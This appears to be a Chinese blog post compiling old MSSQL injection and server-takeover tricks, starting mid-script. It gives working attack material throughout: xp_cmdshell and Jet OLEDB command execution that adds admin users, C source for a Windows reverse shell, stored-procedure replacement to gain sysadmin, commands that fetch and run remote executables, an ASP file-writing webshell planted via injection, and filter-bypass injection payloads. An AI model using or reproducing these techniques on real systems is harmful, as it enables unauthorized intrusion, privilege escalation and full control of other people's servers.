+@tbname+case isnull(@tj,’’) when ’’ then ’’
else ’ where ’+@tj end
+’" queryout "’+@fname
+’" /S"’+@servename
+case when isnull(@username,’’)=’’ then ’’
else ’" /U"’+@username end
+’" /P"’+isnull(@password,’’)
+’" /i"’+@fname_in+’"’
exec master..xp_cmdshell @sql
end
else
begin
--为数据导入准备临时表
set @sql=’select top 0 ’+@fdname+’ into ’
+@m_tbname+’ from ’ +@tbname
exec(@sql)

--将数据导入到临时表
set @sql=’bcp "’+@m_tbname+’" in "’+@fname
+’" /S"’+@servename
+case when isnull(@username,’’)=’’ then ’’
else ’" /U"’+@username end
+’" /P"’+isnull(@password,’’)
+’" /i"’+@fname_in+’"’
exec master..xp_cmdshell @sql

--将数据导入到正式表中
set @sql=’update ’+@tbname
+’ set ’+@fdname+’=b.’+@fdname
+’ from ’+@tbname+’ a,’
+@m_tbname+’ b’
+case isnull(@tj,’’) when ’’ then ’’
else ’ where ’+@tj end
exec(@sql)

--删除数据处理临时表
set @sql=’drop table ’+@m_tbname
end

--删除数据处理应答文件
set @sql=’del ’+@fname_in
exec master..xp_cmdshell @sql

go

/** 导入文本文件
EXEC master..xp_cmdshell ’bcp "dbname..tablename" in c:/DT.txt -c -Sservername -Usa -Ppassword’

改为如下,不需引号
EXEC master..xp_cmdshell ’bcp dbname..tablename in c:/DT.txt -c -Sservername -Usa -Ppassword’

/** 导出文本文件
EXEC master..xp_cmdshell ’bcp "dbname..tablename" out c:/DT.txt -c -Sservername -Usa -Ppassword’
此句需加引号
 
SA权限仅需xp_regwrite即可有dos shell
删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell
利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了
绝对比去想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径
nt/2k: x:/winnt/system32/
xp/2003: x:/windows/system32/
如果有回显,可以看到执行返回结果,否则需要先判断主机OS类型再试
当然如果野蛮一点,四个轮流来一遍也行。

首先开启沙盘模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE''SOFTWARE/Microsoft/Jet/4.0/Engines''SandBoxMode''REG_DWORD'1

然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0'';database=c:/winnt/system32/ias/ias.mdb''select shell("cmd.exe /c net user admin admin1234 /add")')

附:
无法连接数据库服务器时(数据库一般不对外开放,但是可以对外访问),
可以使用反弹dos shell方式搞定
====================== CUT here =======================
//name : win32 connect back shell source for nt/2K/xp/2003
//compile : cl win32cbsh.c (vc6)
//usage :
//on your pc : nc -l -p {listen port}
//on vitim pc : win32cbsh {your ip} {listen port}
//warning : if there's no parameter specified it will cause "fatal error"
#include
#pragma comment(lib"ws2_32")
int main(int argc char **argv)
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin0sizeof(adik_sin));
memset(&si0sizeof(si));
WSAStartup(MAKEWORD(20)&wsaData);
hSocket=WSASocket(AF_INETSOCK_STREAMNULLNULLNULLNULL);
adik_sin.sin_family=AF_INET;
adik_sin.sin_port=htons(atoi(argv[2]));
adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
if(0!=connect(hSocket(struct sockaddr*)&adik_sinsizeof(adik_sin))) return -1;
si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
createProcess(NULL"cmd.exe"NULLNULL1NULLNULLNULL&si&pi);
return 0;
}
msSQL注入通杀,只要有注入点就有系统权限
不知道大家看过这篇文章没有,可以在db_owner角色下添加SYSADMIN帐号,这招真狠啊,存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程,饶过了验证部分。具体方法如下:先输入 drop procedure sp_addlogin,然后在IE里面输入create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call

-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount 〉 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret 〈〉 0)
return (1)
if (charindex(’/’, @loginame) 〉 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (’public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret 〈〉 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N’us_english’
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) 〈〉 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus | 0x800, -- old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt 〈〉 ’skip_encryption’
begin
raiserror(15600,-1,-1,’sp_addlogin’)
return 1
end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
INSERT INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error 〈〉 0 -- this indicates we saw duplicate row
return (1)
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec(’use master grant all to null’)
-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15298,-1,-1)
return (0) -- sp_addlogin
GO
OK,我们新建个用户exec master..sp_addlogin xwq

再drop procedure sp_addsrvrolemember,然后在IE里输入

create procedure sp_addsrvrolemember
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,
@ismem int
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount 〉 0)
begin
raiserror(15002,-1,-1,’sp_addsrvrolemember’)
return (1)
end

-- CANNOT CHANGE SA ROLES --
if @loginame = ’sa’
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN ’sysadmin’ THEN 16
WHEN ’securityadmin’ THEN 32
WHEN ’serveradmin’ THEN 64
WHEN ’setupadmin’ THEN 128
WHEN ’processadmin’ THEN 256
WHEN ’diskadmin’ THEN 512
WHEN ’dbcreator’ THEN 1024
WHEN ’bulkadmin’ THEN 4096
ELSE NULL END
-- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where
loginname = @loginame)
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret 〈〉 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
end
-- UPDATE ROLE MEMBERSHIP --
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
xdate2 = getdate()
where name = @loginame and srvid IS NULL
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE --
exec(’use master grant all to null’)
raiserror(15488,-1,-1,@loginame,@rolename)
-- FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) -- sp_addsrvrolemember
GO

接着再exec master..sp_addsrvrolemember xwq,sysadmin
这样就建立了一个SA用户了,用SQL连接器连接上就OK了。很爽吧。不过在实践过程中发现用NB的SQL命令执行时会提示发送错误,可能是代码太长了的缘故,用IE又不方便,希望哪位能发个执行SQL语句的工具来方便大家。OK,到此结束
ausql server中扩展存储过程(几个有用的PROCEDURE总结)
--获得MS SQL的版本号
execute master..sp_msgetversion

--得到硬盘文件信息
--参数说明:目录名,目录深度,是否显示文件
execute master..xp_dirtree 'c:'
execute master..xp_dirtree 'c:',1
execute master..xp_dirtree 'c:',1,1

--列出服务器上安装的所有OLEDB提供的程序
execute master..xp_enum_oledb_providers

--列出服务器上安装的所有代码页
execute master..xp_enumcodepages

--列出服务器上配置的dsn
execute master..xp_enumdsn

--列出sql server错误日志列表,最后更新时间
execute master..xp_enumerrorlogs

--列出服务器上所有windows本地组
execute master..xp_enumgroups

--检测文件存在性
execute master..xp_fileexist 'c:/a.bak'

declare @flag int

exec master..xp_fileexist 'c:/abc.bak',@flag out

if @flag=1
begin
print 'exist'
end
else
begin
print 'no exist'
end

--列出服务器上固定驱动器,以及每个驱动器的可用空间
execute master..xp_fixeddrives

--得到当前sql server服务器的计算机名称
execute master..xp_getnetname

--列出当前错误日志的具体内容
EXEC [master].[dbo].[xp_readerrorlog]

--列出指定目录的所有下一级子目录
EXEC [master].[dbo].[xp_subdirs] 'c:/WINNT'

---列出驱动器的名称
--以字节为单位的空闲空间(low free)
--以驱动器类型:软驱(1),硬盘(2),cd-rom(8)
EXEC [master].[dbo].[xp_availablemedia]
--效果如下:

name low free high free media type
C:/ 1270386688 0 2
D:/ 1726824448 2 2
E:/ 875053056 10 2
F:/ 0 0 8

还有在[master].[dbo].[sp_addlogin]里面有加密函数pwdencrypt,大家感兴趣可以试试
Sql注射时候的几个传文件技巧
绕过echo

echo命令不可用的时候:

dir a.txt>"get abc.exe"

dir "get abc.exe" /B/D>a.txt

type a.txt

get abc.exe

ftp -A 1.1.1.1 <a.txt

还有CMD下下载文件的方法。当vbs和ftp等不可用的时候。多个思路

C:/WINNT/system32>dir c:/tt*.exe /s
dir c:/tt*.exe /s
驱动器 C 中的卷没有标签。
卷的序列号是 045A-2E61
找不到文件

C:/WINNT/system32>start http://aaa.sssss.com/a.htm
start http://aaa.sssss.com/a.htm

C:/WINNT/system32>dir c:/tt*.exe /s
dir c:/tt*.exe /s
驱动器 C 中的卷没有标签。
卷的序列号是 045A-2E61

c:/Documents and Settings/Default User/Local Settings/Temporary Internet Files/
Content.IE5/0VELAZCD 的目录

2005-10-09 18:15 39,139 tt[1].exe
1 个文件 39,139 字节

列出所有文件:
1 个文件 39,139 字节
0 个目录 3,273,519,104 可用字节

C:/WINNT/system32>"c:/Documents and Settings/Default User/Local Settings/Temporary

Internet Files/Content.IE5/0VELAZCD/tt[1].exe"

"c:/Documents and Settings/Default User/Local Settings/Temporary Internet Files/
Content.IE5/0VELAZCD/tt[1].exe"
MZ@
Opintion :
-filter ---Change TCP/IP filter to on/off status.
-addport ---Add ports to the filter' allowed portlist.
-setport ---Set ports as the filter' allowed portlist.
-nicinfo ---List TCP/IP interface info.
-pslist ---List active processes.
-pskill ---Kill a specified process.
-dlllist ---List dlls of a specified process.
-sysinfo ---List system info.
-shutdown ---Shutdown system.
-reboot ---Reboot system.
-poweroff ---Turn off power.
-logoff ---Logoff current user's session.
Used in an interactive logon session only.
-chkts ---Check Terminal Service info.
-setupts ---Install Terminal Service.
-remts ---Remove Terminal Service.
-chgtsp ---Reset Terminal Service port.
-clog ---Clean system log.
-enumsrv ---List all services.
-querysrv ---List detail info of a specified service.
-instsrv ---Install a service.
-cfgsrv ---Changes the configuration of a service.
-remsrv ---Remove a specified service.
-startsrv ---Start a specified service.
-stopsrv ---Stop a specified service.
-netget ---Download from http/ftp.
-redirect ---Port redirect.
-chkuser ---List all account、sid and anti clone.
-clone ---Clone from admin to dest.
-never ---Set account looks like never logged on.
-killuser ---Del account. Even "guest" account.
-su ---Run process as Local_System privilege.
Usage: mt.exe -su [File] ----Default run cmd.e
xe
-findpass ---Show all logged on user's pass.
-netstat ---List TCP connections.
-killtcp ---Kill TCP connection.
-psport ---Map ports to processes.
-touch ---Set the file times for a specified file.
-secdel ---Secure delete files and directory or zap free s
pace.
-regshell ---Enter a console registry editor.
-chkdll ---Detect gina dll backdoor.

C:/WINNT/system32>

-----------------可爱的分割线---------------------------

呵呵,目的达到.

让大家看看htm的代码

-----------------可爱的分割线---------------------------

<head>

<LINK href="http://abcd.abcd.cd/tt.exe" rel=stylesheet type=text/css>

</head>

-----------------可爱的分割线---------------------------

就是这些了,如果你没看懂有什么用,那只好说sorry了.呵呵

缺点?当然也是有的拉,呵呵

------------------------------------------------------------------

汗,原来早就有人提过,还有不需要构造htm的方法,

羞死

START ITS: HTTP://sdf.sdfd.net/tt.exe

偶家老A写的, 其实在99年的时候,就有类似技巧,

1.its: http://target.com/muma.exe

dir /s muma.exe 找到以后,直接start命令来执行
SQL注入与ASP木马上传的又一思路
本文适合有sa权限sqlserver数据库、并且能sql注入支持fso+asp的服务器
SQL注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。
1、SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件。
文件内容:
<%
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile(request("mypath"),True)
objCountFile.Write request("mydata")
objCountFile.Close
%>
这个文件可以写成一行 <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject"):Set objCountFile=objFSO.CreateTextFile(request("mypath"),True):objCountFile.Write request("mydata"):objCountFile.Close%>

将特殊字符进行编码 就可以得到 %3C%25Set%20objFSO%20=%20Server.CreateObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E

注入(这里假定web目录是C:/Inetpub/wwwroot/):
exec master..xp_cmdshell 'echo "%3C%25Set%20objFSO%20=%20Server.CreateObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E" > C:/Inetpub/wwwroot/ftp.asp';

这样 在服务器的web 目录下 将生成一个 ftp.asp文件
该文件的代码为
<%
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile(request("mypath"),True)
objCountFile.Write request("mydata")
objCountFile.Close
%>
你可以看到,上面代码中预留了两个接口 mypath 和 mydata

mypath是下次提交的时候 文件的生成路径
mydata是文件的内容

在本地编写一个客户端文件 例:RohuClient.htm 代码如下

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>肉鸡文件生成器--客户端 制作:绝对零度 QQ:12216796</title>
<style type="text/css">
<!--
TD {
FONT-SIZE: 9pt; LINE-HEIGHT: 150%
}
BODY {
FONT-SIZE: 12px;
FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif, 宋体;
SCROLLBA*-**CE-COLOR: #eeeeee;
SCROLLBAR-HIGHLIGHT-COLOR: #ffffff;
SCROLLBAR-SHADOW-COLOR: #dee3e7;
SCROLLBAR-3DLIGHT-COLOR: #d1d7dc;
SCROLLBAR-ARROW-COLOR: #006699;
SCROLLBAR-TRACK-COLOR: #ededed;
SCROLLBAR-DARKSHADOW-COLOR: #98aab1
}

A:link {
FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none
}
A:visited {
FONT-SIZE: 9pt; COLOR: #363636; LINE-HEIGHT: 18px; TEXT-DECORATION: none
}
A:hover {
COLOR: #cc0000; LINE-HEIGHT: 18px; TEXT-DECORATION: underline
}
input,select,TEXTAREA {
font-family: "tahoma", "arial", "helvetica", "sans-serif", "宋体";
background-color: #f9f9f9;
font-size: 9pt ;
border: 1px #d2d2d2 dobble;
line-height:120%;
}

-->
</style>
</head>
<script language="javascript" type="text/javascript">
function chk(theform)
{
if(theform.ftpUrl.value=='')
{
alert('请输入递交的地址!');
theform.ftpUrl.focus();
return false;
}
if(theform.MyPath.value=='')
{
alert('请输入生成文件的位置!');
theform.MyPath.focus();
return false;
}
if(theform.MyData.value=='')
{
alert('请输入生成文件的内容!');
theform.MyData.focus();
return false;
}
theform.action=theform.ftpUrl.value;
}
</script>
<body>
<form name="RohuForm" method="post" action="" onSubmit="return chk(this)" target="_blank">
<table width="673" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="11%">目标位置:</td>
<td width="79%"><input name="ftpUrl" type="text" id="ftpUrl" size="50">
例: http://127.0.0.1/FTP.ASP<;/td>
</tr>
<tr>
<td>生成文件:</td>
<td><input name="MyPath" type="text" id="MyPath">
将在服务器上,生成的文件路径。例:
C:/Inetpub/wwwroot/Server.asp </td>
</tr>
<tr>
<td valign="top">文件代码:</td>
<td><textarea name="MyData" cols="100" rows="10" id="textarea"></textarea></td>
</tr>
<tr>
<td> </td>
<td><input type="submit" name="Submit" value="提交"></td>
</tr>
</table>
<br>
</form>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="center">版权所有:绝对零度(<a href="http://www.rohu.com";>虎盟</a>)</td>
</tr>
</table>
</body>
</html>

在目标位置栏填上刚刚生成的ftp.asp文件的url地址
http://127.0.0.1/ftp.asp (这里假设服务器的ip是 127.0.0.1)
在生成文件栏 输入将在服务器上生成的文件名 比如:C:/Inetpub/wwwroot/Server.asp
在文件内容里 ,随意的粘贴一个asp代码
点递交,当 http://127.0.0.1/ftp.asp 文件执行完毕 基本上服务器上的asp木马就生成了。

浏览 http://127.0.0.1/Server.ASP 呵呵 服务器就是你的了
SQL注入过滤关键字小窍门
过滤关键字,并不是指检测到and,char字符后就报出错误,停止执行命令,返回上一页等等
而是指某些网站直接把and和char字符删除来防止SQL的注入
我不敢说网上是我第一次遇到这个情况,也不敢保证别人没写过这类似的文章
不过目前好象没看到这类型的文章,今天也刚好遇到了这个问题
就把我的体验给大家说说,斗胆标上“原创”

今天遇到一个网站
直接输入一个 ' ,正常
http://www.eviloctal.com/shop/show.php?id=118%20and%201=1
这个字符输入进去以后,得到如下提示:
select * from webproduct where ProductID=118 1=1 and iStatus=1You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1=1 and iStatus=1' at line 1
我看了看这段出错的代码~
http://www.eviloctal.com/select * from webproduct where ProductID=118 1=1
这一句,明显少了一个AND
我就在想能不能饶过它,试了好几种方法都不行
最后,我就在想,是不是它直接把我的and删除了呢?
然后试着加上了 http://www.eviloctal.com/shop/show.php?id=118%20aandnd%201=1
结果页面正常
http://www.eviloctal.com/shop/show.php?id=118%20aandnd%201=2
无此产品
因为aandnd这个删除了一个and 后,他留下了一个and来
如果这样的话,就留下了一个and
后来发现他们还过滤了',char,;等等
后来构造语句,就可以直接是a'nd或者 ch;ar这种格式来直接手工注入~~
为保证被测试者的利益,他们的网站地址已经全部换为 http://www.eviloctal.com/了,大家不要用这个地址来测试邪恶八进制了,没用的,呵呵

本文没有什么技术含量,高手飘过~~
如何伪造SQL注入点?
作者:pt007 信息来源:幻影旅团

有webshell了,可以用它直接连接数据库来执行数据查询,不用再伪造注入点文件了,另外你可以直接修改网站上的原ASP文件,把里面的过滤函数包括语句删除掉就有注入点了,一般过滤函数都inlcude在数据库连接文件conn.asp文件中.
在目标上先构造一个存在注入点的文件a.asp,里面的admin表是存在的,conn.asp是数据库连接程序,记得要把conn.asp文件中过滤函数包括语句给删掉,ASP代码如下:
<!--#include file="conn.asp"-->
<%
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from admin where id=" & id '如果没有这个admin表,可以自己建立一个表和字段
rs.open strSQL,conn,1,3
rs.close
%>

然后输入:http://目标IP/a.asp?id=1
完成了,就这么简单,其他的信息就让他全部自己暴露出来吧.打开nbsi,一顿狂注,什么信息都出来啦,慢慢的浏览着他的目录.
命令行下添加SQL用户的方法
作者:pt007 信息来源:未知

需要有管理员权限,在命令下先建立一个c:/test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:/test.qry

PS:确实方便了些.至少不用进机器添加SQL管理员帐户了
3个MSSQL扩展
EXEC [master].[dbo].[xp_makecab] 'c:/test.rar','default',1,'d:/cmd.asp'
打包
EXEC [master].[dbo].[xp_unpackcab] 'C:/test.rar','c:',1, 'n.asp'
解包,可以用于得到webshell
EXEC [master].[dbo].[xp_readerrorlog] 1,'d:/cmd.asp'
读文本代码

要求权限:
master的dbo权限
突破空格的限制
寂寞的刺猬 [LOVESHELL]

关于空格,有许多替换方式,比如TAB空格,SQL数据库中的/**/,但我又找到了另一种替换方式,已发表于《黑客手册》2006.7期中,这里挑其精华,现一下吧!

对于SQL语句,大家还都习惯于其的空格,比如select id from [name],如果中间没有了空格,那就成了selectidfrom[name],一滩糊涂!除了上面所说到几个空格的替代方法外,我发现用()括号在SQL中一样可以运行,比如上面的语句,就可以写成,select(id)from [name],有括号分隔,可以正常执行。
举个例 子说一下,我们得到一个注入点:jmdcw.asp?name=aa'and 1=1 and ''=',如果替换其中的1=1为查询管理员的密码的语句:(select asc(mid(pass,1,1)) from [name] where id=1)>49。如何用空格呢?其实可以写成这样的:
jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))>49)and''='
如果屏蔽了<和>符号,则用between…and…,语句是:
jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))between(40)and(50))and''='

对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?

呵呵,总结一下,和LOVESHELL上的朋友分享一下。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值